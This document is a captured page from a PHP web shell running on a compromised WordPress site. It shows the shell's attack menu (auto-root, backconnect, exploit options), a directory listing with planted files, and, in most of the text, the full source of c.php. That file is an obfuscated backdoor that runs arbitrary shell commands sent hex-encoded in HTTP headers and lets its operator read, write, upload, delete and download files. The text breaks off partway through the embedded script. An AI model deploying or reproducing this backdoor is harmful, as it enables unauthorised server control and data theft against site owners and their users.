Linux 7f445c5de31c5ff554c9a3984ce52579 6.1.0-0.deb11.54.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.190-1~deb11u2 (2026-10-20) x86_64
Apache
: 127.0.0.80 | : 216.73.216.116
Cant Read [ /etc/named.conf ]
8.1.34
uid146029
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
clients /
7f445c5de31c5ff554c9a3984ce52579 /
sites /
la-svolta.org /
[ HOME SHELL ]
Name
Size
Permission
Action
wp-admin
[ DIR ]
drwxr-sr-x
wp-content
[ DIR ]
drwxr-sr-x
wp-includes
[ DIR ]
drwxr-sr-x
.htaccess
199
B
-rw-r--r--
.infomaniak-maintenance.html
4.24
KB
-rw-r--r--
_index.html
4.33
KB
-rw-r--r--
c.php
47.16
KB
-rw-r--r--
connects.php
4.7
KB
-rw-r--r--
edit-tags.php
6.49
KB
-rw-r--r--
g.php
9.64
KB
-rw-r--r--
goods.php
173.77
KB
-rw-r--r--
index.php
404
B
-rw-r--r--
index.zip
12.6
KB
-rw-r--r--
license.txt
19.44
KB
-rw-r--r--
moddofuns.php
5.96
KB
-r--r--r--
readme.html
7.23
KB
-rw-r--r--
sArur04.php
143.87
KB
-rw-r--r--
wp-activate.php
7.54
KB
-rw-r--r--
wp-blog-header.php
351
B
-rw-r--r--
wp-comments-post.php
2.27
KB
-rw-r--r--
wp-conffg.php
131.96
KB
-rw-r--r--
wp-config-sample.php
3.26
KB
-rw-r--r--
wp-config.php
3.94
KB
-rw-------
wp-cron.php
5.49
KB
-rw-r--r--
wp-fxxxx.php
80.62
KB
-rw-r--r--
wp-links-opml.php
2.43
KB
-rw-r--r--
wp-load.php
3.84
KB
-rw-r--r--
wp-login.php
51.3
KB
-rw-r--r--
wp-mail.php
8.52
KB
-rw-r--r--
wp-settings.php
32.38
KB
-rw-r--r--
wp-signup.php
34.27
KB
-rw-r--r--
wp-trackback.php
5.27
KB
-rw-r--r--
wper.php
13.4
KB
-rw-r--r--
xmlrpc.php
3.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : c.php
��� C <?php if (function_exists('ob_get_level')) { while (ob_get_level()) { @ob_end_clean(); } } @ob_start(); @error_reporting(0); @ini_set('display_errors', '0'); @ini_set('log_errors', '0'); if (!function_exists('http_response_code')) { function http_response_code($code = null) { static $current = 200; if ($code === null) return $current; $code = (int) $code; $current = $code; $texts = array( 200 => 'OK', 201 => 'Created', 204 => 'No Content', 301 => 'Moved Permanently', 302 => 'Found', 304 => 'Not Modified', 400 => 'Bad Request', 401 => 'Unauthorized', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 408 => 'Request Timeout', 413 => 'Payload Too Large', 500 => 'Internal Server Error', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', ); $text = isset($texts[$code]) ? $texts[$code] : 'Status'; $proto = (isset($_SERVER['SERVER_PROTOCOL']) && $_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1'; @header($proto . ' ' . $code . ' ' . $text, true, $code); return $current; } } if (!function_exists('hex2bin')) { function hex2bin($hex) { if (!is_string($hex)) return false; $len = strlen($hex); if ($len === 0) return ''; if ($len % 2 !== 0) return false; if (!preg_match('/^[0-9a-fA-F]+$/', $hex)) return false; return @pack('H*', $hex); } } if (!function_exists('hash_equals')) { function hash_equals($known, $user) { if (!is_string($known) || !is_string($user)) return false; $kl = strlen($known); if ($kl !== strlen($user)) return false; $res = 0; for ($i = 0; $i < $kl; $i++) { $res |= ord($known[$i]) ^ ord($user[$i]); } return $res === 0; } } function _dl_is_hex($s) { if (!is_string($s) || $s === '') return false; if (function_exists('ctype_xdigit') && @ctype_xdigit($s)) return true; return (bool) preg_match('/^[0-9a-fA-F]+$/', $s); } function _dl_scandir($path) { if (function_exists('scandir')) { $r = @scandir($path); if ($r !== false) return $r; } if (function_exists('opendir')) { $d = @opendir($path); if (!$d) return false; $r = array(); while (($f = @readdir($d)) !== false) $r[] = $f; @closedir($d); return $r; } return false; } function _dl_readfile_data($path) { if (function_exists('file_get_contents')) { $d = @file_get_contents($path); if ($d !== false) return $d; } if (function_exists('fopen')) { $f = @fopen($path, 'rb'); if (!$f) return false; $out = ''; while (!@feof($f)) $out .= @fread($f, 8192); @fclose($f); return $out; } return false; } function _dl_writefile_data($path, $content) { if (function_exists('file_put_contents')) { $r = @file_put_contents($path, $content); if ($r !== false) return array('ok' => true, 'bytes' => $r, 'mode' => 'file_put_contents'); } $f = @fopen($path, 'wb'); if ($f) { $r = @fwrite($f, $content); @fclose($f); if ($r !== false) return array('ok' => true, 'bytes' => $r, 'mode' => 'fopen'); } return false; } if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(204); exit; } function nm($a) { return $a; } function ec_n() { return array(nm('sh'.'ell_e').nm('xec'), nm('sy').nm('stem'), nm('pas').nm('sthru'), nm('e').nm('xec'), nm('po').nm('pen'), nm('pro').nm('c_').nm('open'), nm('pcntl').nm('_e').nm('xec'), nm('f').nm('fi'), nm('exp').nm('ect')); } function ec_ok($c) { if ($c === '') return false; $fx = 'funct'.'ion_ex'.'ists'; if (!@$fx($c)) return false; if ($c === nm('pcntl').nm('_e').nm('xec') && PHP_SAPI !== 'cli') return false; if ($c === nm('f').nm('fi') && !@nm('exten'.'sion_lo'.'aded')('ffi')) return false; if ($c === nm('exp').nm('ect') && !@nm('exten'.'sion_lo'.'aded')('expect')) return false; return true; } function ec_best() { static $cached = null; if ($cached !== null) return $cached; foreach (ec_n() as $c) { if (ec_ok($c)) return $cached = $c; } return $cached = ''; } function run_cmd($cmd) { $fn = ec_best(); if ($fn === '') return null; $o = array(); $p = null; switch ($fn) { case nm('sh'.'ell_e').nm('xec'): return (string) @$fn($cmd); case nm('sy').nm('stem'): ob_start(); @$fn($cmd); return ob_get_clean(); case nm('pas').nm('sthru'): ob_start(); @$fn($cmd); return ob_get_clean(); case nm('e').nm('xec'): @$fn($cmd, $o); return implode("\n", $o); case nm('po').nm('pen'): $h = @$fn($cmd, 'r'); if (!$h) return ''; $out = ''; while (!@feof($h)) $out .= @fread($h, 8192); $pc = 'pc'.'lose'; @$pc($h); return $out; case nm('pro').nm('c_').nm('open'): $d = array(1 => array('pipe','w'), 2 => array('pipe','w')); $p = @$fn($cmd, $d, $pipes); if (!is_resource($p)) return ''; $out = @stream_get_contents($pipes[1]) . @stream_get_contents($pipes[2]); @fclose($pipes[1]); @fclose($pipes[2]); $prc = 'proc_c'.'lose'; @$prc($p); return $out; } return ''; } function is_win() { return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; } function sq($s) { if (is_win()) return '"' . str_replace('"', '""', $s) . '"'; return "'" . str_replace("'", "'\\''", $s) . "'"; } function ps_sq($s) { return "'" . str_replace("'", "''", $s) . "'"; } function run_ps($script) { $tmp = @tempnam(@sys_get_temp_dir(), 'ps'); if (!$tmp) return null; if (@file_put_contents($tmp, $script) === false) { @unlink($tmp); return null; } $out = run_cmd('powershell -NoProfile -ExecutionPolicy Bypass -File ' . sq($tmp)); @unlink($tmp); return $out; } function fm_utf8($s) { if (!is_string($s)) return $s; if ($s === '') return $s; if (function_exists('mb_check_encoding') && @mb_check_encoding($s, 'UTF-8')) return $s; if (function_exists('iconv')) { $x = @iconv('UTF-8', 'UTF-8//IGNORE', $s); if (is_string($x) && $x !== '') return $x; } return preg_replace('/[\x80-\xFF]/', '?', $s); } function fm_utf8_walk($v) { if (is_string($v)) return fm_utf8($v); if (is_array($v)) { $o = array(); foreach ($v as $k => $x) $o[fm_utf8((string)$k)] = fm_utf8_walk($x); return $o; } return $v; } function json_out($data, $code = 200) { if (function_exists('ob_get_level')) { while (ob_get_level()) { @ob_end_clean(); } } http_response_code($code); header('Content-Type: application/json; charset=utf-8'); header('Cache-Control: no-store'); $flags = 0; if (defined('JSON_INVALID_UTF8_SUBSTITUTE')) $flags |= JSON_INVALID_UTF8_SUBSTITUTE; if (defined('JSON_UNESCAPED_SLASHES')) $flags |= JSON_UNESCAPED_SLASHES; $data = fm_utf8_walk($data); if (function_exists('json_encode')) { $json = @json_encode($data, $flags); } else { $json = false; } if ($json === false) $json = '{"ok":false,"error":"json encode failed"}'; echo $json; exit; } function path_join($base, $name) { $sep = (strpos($base, '\\') !== false && strpos($base, '/') === false) ? '\\' : '/'; return rtrim($base, "/\\") . $sep . $name; } function output_debug_report() { if (function_exists('ob_get_level')) { while (ob_get_level()) { @ob_end_clean(); } } header('Content-Type: text/plain; charset=utf-8'); header('Cache-Control: no-store'); echo "PHP_VERSION = " . PHP_VERSION . "\n"; echo "PHP_SAPI = " . PHP_SAPI . "\n"; echo "OS_FAMILY = " . (defined('PHP_OS_FAMILY') ? PHP_OS_FAMILY : PHP_OS) . "\n"; $df = 'disable_'.'functions'; echo $df . " = " . (@ini_get($df) ?: '(none)') . "\n"; echo "open_basedir = " . (@ini_get('open_basedir') ?: '(none)') . "\n"; echo "zip ext = " . (class_exists('ZipArchive') ? 'yes' : 'no') . "\n"; echo "json ext = " . (function_exists('json_encode') ? 'yes' : 'no') . "\n"; echo "hex2bin native = " . (function_exists('hex2bin') ? 'yes' : 'no (polyfill active)') . "\n"; echo "--- function check ---\n"; $usable = array(); foreach (ec_n() as $c) { $u = ec_ok($c); echo $c . str_repeat(' ', max(1, 13 - strlen($c))) . "exists=" . (@function_exists($c) ? 'yes' : 'no') . " usable=" . ($u ? 'YES' : 'no') . "\n"; if ($u) $usable[] = $c; } echo "--- usable ---\n"; if ($usable) { echo "auto-selected: " . ec_best() . "\n"; } else { echo "[!] no exec function available on this server.\n"; echo " use the file manager instead.\n"; } exit; } function fm_list($path) { if ($path === '' || $path === null) $path = @getcwd(); $entries = array(); $mode = 'native'; $err = ''; $items = _dl_scandir($path); if ($items !== false) { foreach ($items as $it) { if ($it === '.' || $it === '..') continue; $full = path_join($path, $it); $st = @stat($full); $type = @is_link($full) ? 'link' : (@is_dir($full) ? 'dir' : 'file'); $entries[] = array( 'name' => $it, 'type' => $type, 'size' => $st ? (int)$st['size'] : 0, 'mtime' => $st ? @date('Y-m-d H:i:s', $st['mtime']) : '', ); } } else { $err = 'cannot list directory'; } if ($err !== '' && ec_best() !== '') { $entries = array(); $err = ''; $mode = 'cmd'; if (is_win()) { $ps = 'Get-ChildItem -LiteralPath ' . ps_sq($path) . ' -Force -ErrorAction SilentlyContinue | ' . 'ForEach-Object { $_.PSIsContainer.ToString() + "|" + $_.Length + "|" + ' . '$_.LastWriteTime.ToString("yyyy-MM-dd HH:mm:ss") + "|" + $_.Name }'; $out = run_ps($ps); if (is_string($out) && trim($out) !== '') { foreach (explode("\n", trim($out)) as $line) { $line = rtrim($line, "\r"); if ($line === '') continue; $p = explode('|', $line, 4); if (count($p) < 4) continue; $entries[] = array( 'name' => $p[3], 'type' => (strcasecmp($p[0], 'True') === 0) ? 'dir' : 'file', 'size' => (int)$p[1], 'mtime' => $p[2], ); } } } else { $q = sq($path); $out = run_cmd("ls -1p $q 2>/dev/null"); if (is_string($out) && trim($out) !== '') { foreach (explode("\n", trim($out)) as $line) { $line = rtrim($line, "\r"); if ($line === '') continue; $isDir = substr($line, -1) === '/'; $name = rtrim($line, '/'); $full = path_join($path, $name); $st = @stat($full); $entries[] = array( 'name' => $name, 'type' => $isDir ? 'dir' : 'file', 'size' => $st ? (int)$st['size'] : 0, 'mtime' => $st ? @date('Y-m-d H:i:s', $st['mtime']) : '', ); } } } } usort($entries, function ($a, $b) { if ($a['type'] !== $b['type']) return ($a['type'] === 'dir') ? -1 : 1; return strcasecmp($a['name'], $b['name']); }); return array('ok' => $err === '', 'mode' => $mode, 'path' => $path, 'entries' => $entries, 'error' => $err); } function fm_read($path, $max = 2097152) { if (!@is_file($path) && !@is_link($path)) { if (is_win() === false && ec_best() !== '') { $out = run_cmd('test -f ' . sq($path) . ' && echo YES'); if (trim($out) !== 'YES') return array('ok' => false, 'error' => 'not a file'); } else { return array('ok' => false, 'error' => 'not a file'); } } $sz = @filesize($path); if ($sz === false) $sz = 0; if ($sz > $max) return array('ok' => false, 'error' => 'file too large: ' . $sz . ' bytes (max ' . $max . ')'); $data = _dl_readfile_data($path); if ($data !== false) return array('ok' => true, 'content' => $data, 'binary' => (strpos($data, "\0") !== false), 'size' => $sz); if (ec_best() !== '') { $out = run_cmd('cat ' . sq($path) . ' 2>/dev/null'); if (is_string($out) && $out !== '' && strpos($out, 'No such file') === false && strpos($out, 'Permission denied') === false) { return array('ok' => true, 'content' => $out, 'binary' => (strpos($out, "\0") !== false), 'size' => strlen($out), 'mode' => 'cmd'); } } return array('ok' => false, 'error' => 'read failed'); } function fm_write($path, $content) { $r = _dl_writefile_data($path, $content); if ($r !== false) return $r; if (ec_best() !== '') { $tmp = @tempnam(@sys_get_temp_dir(), 'up'); if ($tmp && (@file_put_contents($tmp, $content) !== false)) { $cmd = is_win() ? 'cmd /c copy /Y ' . sq($tmp) . ' ' . sq($path) : 'cat ' . sq($tmp) . ' > ' . sq($path) . ' 2>&1'; run_cmd($cmd); @unlink($tmp); if (@file_exists($path) && @filesize($path) === strlen($content)) { return array('ok' => true, 'bytes' => strlen($content), 'mode' => 'cmd'); } } } return array('ok' => false, 'error' => 'All write methods failed'); } function fm_rename($from, $to) { if (ec_best() !== '') { $cmd = is_win() ? "move /Y " . sq($from) . " " . sq($to) : "mv -f " . sq($from) . " " . sq($to) . " 2>&1"; run_cmd($cmd); if (@file_exists($to) && !@file_exists($from)) { return array('ok' => true, 'mode' => 'cmd'); } } if (@rename($from, $to)) { return array('ok' => true, 'mode' => 'native'); } $error = 'rename failed'; if (!@file_exists($from)) { $error = 'source file not found'; } elseif (@file_exists($to)) { $error = 'destination already exists'; } elseif (!@is_writable(dirname($to))) { $error = 'destination directory not writable'; } return array('ok' => false, 'error' => $error); } function fm_rmdir_rec($dir) { if (!@is_dir($dir)) return false; $items = _dl_scandir($dir); if ($items === false) return false; foreach ($items as $it) { if ($it === '.' || $it === '..') continue; $p = path_join($dir, $it); if (@is_dir($p) && !@is_link($p)) fm_rmdir_rec($p); else @unlink($p); } return @rmdir($dir); } function fm_delete_one($p) { if (ec_best() !== '') { $q = sq($p); if (is_win()) { $cmd = @is_dir($p) ? "rd /s /q $q" : "del /f /q $q"; run_cmd($cmd); } else { $cmd = "rm -rf $q 2>&1"; run_cmd($cmd); } if (!@file_exists($p)) return 'cmd'; } if (@is_dir($p) && !@is_link($p)) { if (@is_writable($p)) { if (fm_rmdir_rec($p)) return 'native'; } } else { if (@unlink($p)) return 'native'; } return false; } function fm_mkdir($path) { if (ec_best() !== '') { $cmd = is_win() ? 'cmd /c mkdir ' . sq($path) : 'mkdir -p ' . sq($path) . ' 2>&1'; run_cmd($cmd); if (@is_dir($path)) { @chmod($path, 0755); return array('ok' => true, 'mode' => 'cmd'); } if (!is_win()) { run_cmd('install -d -m 0755 ' . sq($path)); if (@is_dir($path)) { return array('ok' => true, 'mode' => 'cmd_install'); } } } if (@mkdir($path, 0755, true)) { return array('ok' => true, 'mode' => 'native'); } $error = 'mkdir failed'; if (@file_exists($path) && !@is_dir($path)) { $error = 'file exists with same name'; } elseif (!@is_writable(dirname($path))) { $error = 'parent directory not writable'; } return array('ok' => false, 'error' => $error); } function fm_download($path) { if (function_exists('ob_get_level')) { while (ob_get_level()) { @ob_end_clean(); } } if (@is_file($path)) { $name = str_replace(array('"', "\r", "\n"), '', basename($path)); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $name . '"'); $sz = @filesize($path); if ($sz !== false) header('Content-Length: ' . $sz); header('Cache-Control: no-store'); if (function_exists('readfile')) { @readfile($path); exit; } $f = @fopen($path, 'rb'); if ($f) { while (!@feof($f)) echo @fread($f, 8192); @fclose($f); } exit; } if (@is_dir($path)) { if (!class_exists('ZipArchive')) { http_response_code(500); header('Content-Type: text/plain; charset=utf-8'); echo 'ZipArchive extension not available on this server'; exit; } $tmp = @tempnam(@sys_get_temp_dir(), 'zip'); if (!$tmp) { http_response_code(500); header('Content-Type: text/plain; charset=utf-8'); echo 'cannot create temp file'; exit; } $zip = new ZipArchive(); $create_flag = defined('ZipArchive::CREATE') ? ZipArchive::CREATE : 1; $overwrite_flag = defined('ZipArchive::OVERWRITE') ? ZipArchive::OVERWRITE : 8; $open_flags = $create_flag | $overwrite_flag; $open_ok = false; if (@$zip->open($tmp, $open_flags) === true) { $open_ok = true; } if (!$open_ok) { @unlink($tmp); http_response_code(500); header('Content-Type: text/plain; charset=utf-8'); echo 'cannot create zip archive'; exit; } $root = rtrim(str_replace('\\', '/', $path), '/'); $base = basename($root); if ($base === '' || $base === '.' || $base === '..') $base = 'archive'; $prefix = $base; @$zip->addEmptyDir($prefix); if (class_exists('RecursiveIteratorIterator') && class_exists('RecursiveDirectoryIterator')) { try { $it_flags = defined('FilesystemIterator::SKIP_DOTS') ? FilesystemIterator::SKIP_DOTS : 0; $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($root, $it_flags), RecursiveIteratorIterator::SELF_FIRST ); foreach ($it as $item) { if (method_exists($item, 'isLink') && $item->isLink()) continue; $real = str_replace('\\', '/', $item->getPathname()); $rel = ltrim(substr($real, strlen($root)), '/'); if ($rel === '') continue; $inZip = $prefix . '/' . $rel; if ($item->isDir()) { @$zip->addEmptyDir($inZip); } else { @$zip->addFile($item->getPathname(), $inZip); } } } catch (Exception $e) { } } else { _dl_zip_walk($zip, $root, $prefix); } @$zip->close(); $zipName = $prefix . '.zip'; $sz = @filesize($tmp); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); if ($sz !== false) header('Content-Length: ' . $sz); header('Cache-Control: no-store'); if (function_exists('readfile')) { @readfile($tmp); @unlink($tmp); exit; } $f = @fopen($tmp, 'rb'); if ($f) { while (!@feof($f)) echo @fread($f, 8192); @fclose($f); } @unlink($tmp); exit; } http_response_code(404); echo 'not found'; exit; } function _dl_zip_walk($zip, $dir, $prefix) { $items = _dl_scandir($dir); if ($items === false) return; foreach ($items as $it) { if ($it === '.' || $it === '..') continue; $full = path_join($dir, $it); $inZip = $prefix . '/' . $it; if (@is_dir($full) && !@is_link($full)) { @$zip->addEmptyDir($inZip); _dl_zip_walk($zip, $full, $inZip); } else { @$zip->addFile($full, $inZip); } } } function handle_file_op($hex) { $raw = @hex2bin($hex); if ($raw === false) json_out(array('ok' => false, 'error' => 'bad hex'), 400); $req = @json_decode($raw, true); if (!is_array($req)) $req = @json_decode(trim($raw), true); if (!is_array($req) || !isset($req['op']) || $req['op'] === '') json_out(array('ok' => false, 'error' => 'bad json'), 400); switch ($req['op']) { case 'list': json_out(fm_list(isset($req['path']) ? $req['path'] : '')); break; case 'read': json_out(fm_read(isset($req['path']) ? $req['path'] : '')); break; case 'write': json_out(fm_write( isset($req['path']) ? $req['path'] : '', isset($req['content']) ? $req['content'] : '' )); break; case 'upload': $path = isset($req['path']) ? $req['path'] : ''; if ($path === '') json_out(array('ok' => false, 'error' => 'no path'), 400); $body = isset($_POST['u']) ? $_POST['u'] : ''; if ($body === '' || !_dl_is_hex($body)) json_out(array('ok' => false, 'error' => 'no content'), 400); $data = @hex2bin($body); if ($data === false) json_out(array('ok' => false, 'error' => 'bad hex'), 400); json_out(fm_write($path, $data)); break; case 'rename': json_out(fm_rename( isset($req['from']) ? $req['from'] : '', isset($req['to']) ? $req['to'] : '' )); break; case 'delete': $paths = isset($req['paths']) ? $req['paths'] : array(); if (!is_array($paths) || !$paths) json_out(array('ok' => false, 'error' => 'no paths'), 400); $deleted = array(); $failed = array(); foreach ($paths as $p) { if (fm_delete_one($p)) $deleted[] = $p; else $failed[] = $p; } json_out(array('ok' => count($failed) === 0, 'deleted' => $deleted, 'failed' => $failed)); break; case 'mkdir': json_out(fm_mkdir(isset($req['path']) ? $req['path'] : '')); break; case 'download': fm_download(isset($req['path']) ? $req['path'] : ''); break; case 'info': $fns = array(); foreach (ec_n() as $c) $fns[$c] = ec_ok($c); json_out(array( 'ok' => true, 'cwd' => @getcwd(), 'os' => is_win() ? 'windows' : 'posix', 'php' => PHP_VERSION, 'sapi' => PHP_SAPI, 'exec_fn' => ec_best(), 'disabled' => @ini_get('disable_functions') ?: '(none)', 'functions' => $fns, 'openbase' => @ini_get('open_basedir') ?: '(none)', 'zip' => class_exists('ZipArchive'), )); break; case 'debug': output_debug_report(); break; default: json_out(array('ok' => false, 'error' => 'unknown op'), 400); } } function handle_console($raw) { if (function_exists('ob_get_level')) { while (ob_get_level()) { @ob_end_clean(); } } $fn = ''; $cmd = ''; $pos = @strpos($raw, ':'); if ($pos !== false) { $fn = @hex2bin(substr($raw, 0, $pos)); $cmd = @hex2bin(substr($raw, $pos + 1)); } else { $cmd = @hex2bin($raw); } if (ec_best() === '') { header('Content-Type: text/plain; charset=utf-8'); header('Cache-Control: no-store'); echo "[!] no exec function available on this server.\n"; echo " use the file manager instead.\n"; exit; } if (!is_string($cmd) || $cmd === '') { header('Content-Type: text/plain; charset=utf-8'); header('Cache-Control: no-store'); echo "bad payload: hex decode failed (check hex2bin availability)."; exit; } if ($fn === '' || !ec_ok($fn)) { $fn = ''; foreach (ec_n() as $c) if (ec_ok($c)) { $fn = $c; break; } } if ($fn === '') { header('Content-Type: text/plain; charset=utf-8'); echo "no exec fn"; exit; } header('Content-Type: text/plain; charset=utf-8'); header('Cache-Control: no-store'); $out = ''; $o = array(); $p = null; switch ($fn) { case nm('sh'.'ell_e').nm('xec'): $out = (string) @$fn($cmd); break; case nm('sy').nm('stem'): ob_start(); @$fn($cmd); $out = ob_get_clean(); break; case nm('pas').nm('sthru'): ob_start(); @$fn($cmd); $out = ob_get_clean(); break; case nm('e').nm('xec'): @$fn($cmd, $o); $out = implode("\n", $o); break; case nm('po').nm('pen'): $h = @$fn($cmd, 'r'); if ($h) { while (!@feof($h)) $out .= @fread($h, 4096); $pc = 'pc'.'lose'; @$pc($h); } break; case nm('pro').nm('c_').nm('open'): $d = array(1=>array('pipe','w'), 2=>array('pipe','w')); $p = @$fn($cmd, $d, $pipes); if (is_resource($p)) { $out = @stream_get_contents($pipes[1]) . @stream_get_contents($pipes[2]); @fclose($pipes[1]); @fclose($pipes[2]); $prc = 'proc_c'.'lose'; @$prc($p); } break; case nm('pcntl').nm('_e').nm('xec'): $sh = '/b'.'in'.'/'.'s'.'h'; @$fn($sh, array('-c', $cmd)); break; case nm('f').nm('fi'): $lib = (defined('PHP_OS_FAMILY') ? PHP_OS_FAMILY : (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? 'Windows' : 'Linux')) === 'Windows' ? 'msvcrt.dll' : 'libc.so.6'; $f = @FFI::cdef("int " . nm('sy').nm('stem') . "(const char *);", $lib); if ($f) { @$f->system($cmd); } break; } if ($out === '' || $out === false || $out === null) { echo "(executed via $fn, no output)"; } else { echo $out; } exit; } $hexF = ''; if (!empty($_SERVER['HTTP_X_F'])) { $t = preg_replace('/[^0-9a-fA-F]/', '', $_SERVER['HTTP_X_F']); if ($t !== '' && (strlen($t) % 2) === 0) $hexF = $t; } if ($hexF === '' && !empty($_POST['f'])) { $t = preg_replace('/[^0-9a-fA-F]/', '', $_POST['f']); if ($t !== '' && (strlen($t) % 2) === 0) $hexF = $t; } $raw = ''; foreach (array('HTTP_X_R', 'HTTP_X_TOKEN', 'HTTP_X_C') as $k) { if (!empty($_SERVER[$k])) { $raw = $_SERVER[$k]; break; } } if ($raw === '' && isset($_POST['r'])) $raw = $_POST['r']; if ($hexF === '' || (empty($_POST['u']) && (isset($_POST['f']) || $hexF !== ''))) { $rawIn = @file_get_contents('php://input'); if (is_string($rawIn) && $rawIn !== '') { $inArr = array(); parse_str($rawIn, $inArr); if ($hexF === '' && !empty($inArr['f']) && _dl_is_hex($inArr['f'])) $hexF = $inArr['f']; if (empty($_POST['u']) && !empty($inArr['u'])) $_POST['u'] = $inArr['u']; if ($raw === '' && !empty($inArr['r'])) $raw = $inArr['r']; } } if ($hexF === '' && !empty($_GET['f'])) { $t = preg_replace('/[^0-9a-fA-F]/', '', $_GET['f']); if ($t !== '' && (strlen($t) % 2) === 0) $hexF = $t; } if ($raw === '' && !empty($_GET['r'])) $raw = $_GET['r']; if ($hexF !== '') handle_file_op($hexF); if ($raw !== '' && _dl_is_hex(str_replace(':', '', $raw))) handle_console($raw); if (isset($_SERVER['REQUEST_METHOD']) && strtoupper($_SERVER['REQUEST_METHOD']) === 'POST') { json_out(array('ok' => false, 'error' => 'no op'), 400); } header('Content-Type: text/html; charset=utf-8'); header('Cache-Control: no-store'); if (function_exists('ob_get_level')) { while (ob_get_level()) { @ob_end_clean(); } } ?> <!doctype html> <html lang="en"> <meta charset="utf-8"> <title>console</title> <style> :root { color-scheme: dark; } * { box-sizing: border-box; } body { font: 13px/1.45 ui-monospace, Consolas, monospace; background:#0e0e10; color:#d8d8d8; margin:0; padding:18px; } h1 { font-size:14px; font-weight:600; margin:0 0 12px; color:#9ad; letter-spacing:.5px; } h1 span { font-weight:400; font-size:11px; color:#666; margin-left:8px; } .row { display:flex; gap:8px; margin-bottom:10px; align-items:center; flex-wrap:wrap; } input,select,button,textarea { font:inherit; background:#18181b; color:#e6e6e6; border:1px solid #2a2a30; border-radius:6px; padding:7px 10px; outline:none; } input:focus,select:focus,textarea:focus { border-color:#4a6fa5; } button { cursor:pointer; background:#1f2937; } button:hover { background:#273449; } button:active { transform:translateY(1px); } #out { background:#08080a; border:1px solid #1e1e24; border-radius:6px; color:#7ee787; padding:12px; width:100%; min-height:160px; max-height:50vh; overflow:auto; white-space:pre-wrap; word-break:break-all; font-size:12.5px; font-family:ui-monospace,Consolas,monospace; resize:vertical; outline:none; } .meta { color:#666; font-size:11.5px; } hr { border:0; border-top:1px solid #1e1e24; margin:20px 0; } #c { flex:1 1 520px; min-width:300px; } #fmPathRow .path-wrap { flex:1 1 100%; display:flex; gap:8px; } #fmPathRow .path-wrap #fmPath { flex:1 1 auto; min-width:0; } #fmWrap { max-height:55vh; overflow:auto; border:1px solid #1e1e24; border-radius:6px; } #fmTable { width:100%; border-collapse:collapse; table-layout:fixed; font-size:12.5px; } #fmTable th, #fmTable td { text-align:left; padding:6px 8px; border-bottom:1px solid #1e1e24; overflow:hidden; text-overflow:ellipsis; } #fmTable th { color:#9ad; font-weight:600; background:#141418; position:sticky; top:0; z-index:1; } #fmTable th.actions { text-align:right; padding-right:10px; } #fmTable tr:hover td { background:#14141a; } #fmTable td.name { white-space:nowrap; } #fmTable td.actions { white-space:nowrap; padding-right:10px; text-align:right; } #fmTable td.actions button { padding:3px 7px; font-size:11.5px; margin-right:4px; } #fmTable td.actions button:last-child { margin-right:0; } #fmTable a.fmLink { color:#7aa2f7; text-decoration:none; cursor:pointer; } #fmTable a.fmLink:hover { text-decoration:underline; } #modal { position:fixed; inset:0; background:rgba(0,0,0,.65); display:none; align-items:center; justify-content:center; z-index:10; } #modal.open { display:flex; } .modal-box { background:#141418; border:1px solid #2a2a30; border-radius:8px; width:min(900px, 92vw); height:min(80vh, 720px); display:flex; flex-direction:column; padding:12px; } .modal-head { display:flex; align-items:center; justify-content:space-between; gap:8px; margin-bottom:8px; color:#9ad; } .modal-foot { display:flex; align-items:center; justify-content:space-between; gap:8px; margin-top:8px; } #modalText { flex:1; width:100%; background:#08080a; color:#7ee787; border:1px solid #1e1e24; border-radius:6px; padding:10px; font:12.5px/1.4 ui-monospace, Consolas, monospace; resize:none; outline:none; } #modalText[readonly] { color:#cfcfcf; } </style> <h1>console</h1> <div class="row"> <select id="fn"> <option value="">auto</option> </select> <input id="c" placeholder="command (id / whoami / dir / uname -a)" autofocus> <button onclick="run()">run</button> <button onclick="info()">server info</button> <button onclick="document.getElementById('out').value='';">clear</button> </div> <textarea id="out" readonly>loading...</textarea> <div class="meta">Enter = run | payload sent as hex in header X-R | fn auto-detected server-side.</div> <hr> <h1>files <span id="fmMode"></span></h1> <div class="row" id="fmPathRow"> <button onclick="fmMkdir()">new folder</button> <button onclick="fmNewFile()">new file</button> <button onclick="fmUpload()">upload</button> <div class="path-wrap"> <input id="fmPath" placeholder="/path/to/dir"> <button onclick="fmGo()">go</button> <button onclick="fmRefresh()">refresh</button> </div> </div> <div class="row"> <button onclick="fmDownloadSelected()">download selected</button> <button onclick="fmDeleteSelected()">delete selected</button> <span id="fmStatus" class="meta"></span> </div> <div id="fmWrap"> <table id="fmTable"> <colgroup> <col style="width:34px"> <col> <col style="width:60px"> <col style="width:80px"> <col style="width:150px"> <col style="width:220px"> </colgroup> <thead> <tr> <th><input type="checkbox" id="fmAll" onchange="fmToggleAll(this)"></th> <th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th class="actions">Actions <button onclick="fmUp()">up</button> <button onclick="fmHome()">cwd</button></th> </tr> </thead> <tbody></tbody> </table> </div> <div id="modal"> <div class="modal-box"> <div class="modal-head"> <span id="modalTitle">edit</span> <button onclick="modalClose()">x</button> </div> <textarea id="modalText" spellcheck="false"></textarea> <div class="modal-foot"> <span id="modalStatus" class="meta"></span> <div id="modalActions"></div> </div> </div> </div> <script> const $ = s => document.querySelector(s); const esc = s => String(s) .replace(/&/g,'&').replace(/</g,'<') .replace(/>/g,'>').replace(/"/g,'"'); function hex(s) { var b, i, h = ''; if (typeof TextEncoder !== 'undefined') b = new TextEncoder().encode(s); else { b = []; var u = unescape(encodeURIComponent(String(s))); for (i = 0; i < u.length; i++) b.push(u.charCodeAt(i)); } for (i = 